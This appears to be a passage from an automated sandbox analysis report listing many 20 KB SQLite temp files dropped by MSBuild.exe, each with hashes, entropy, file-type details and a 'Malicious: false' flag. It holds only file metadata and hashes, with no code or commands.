Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp74B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp775A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7BE2.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7F88.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8527.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8A77.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8B05.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8DB4.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp907D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp921B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9726.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9737.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9747.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9864.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9E36.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA91E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB1A1.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBF17.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC06D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC26.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCC38.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCD0E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCF2.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD1F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpDB37.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpDF5A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
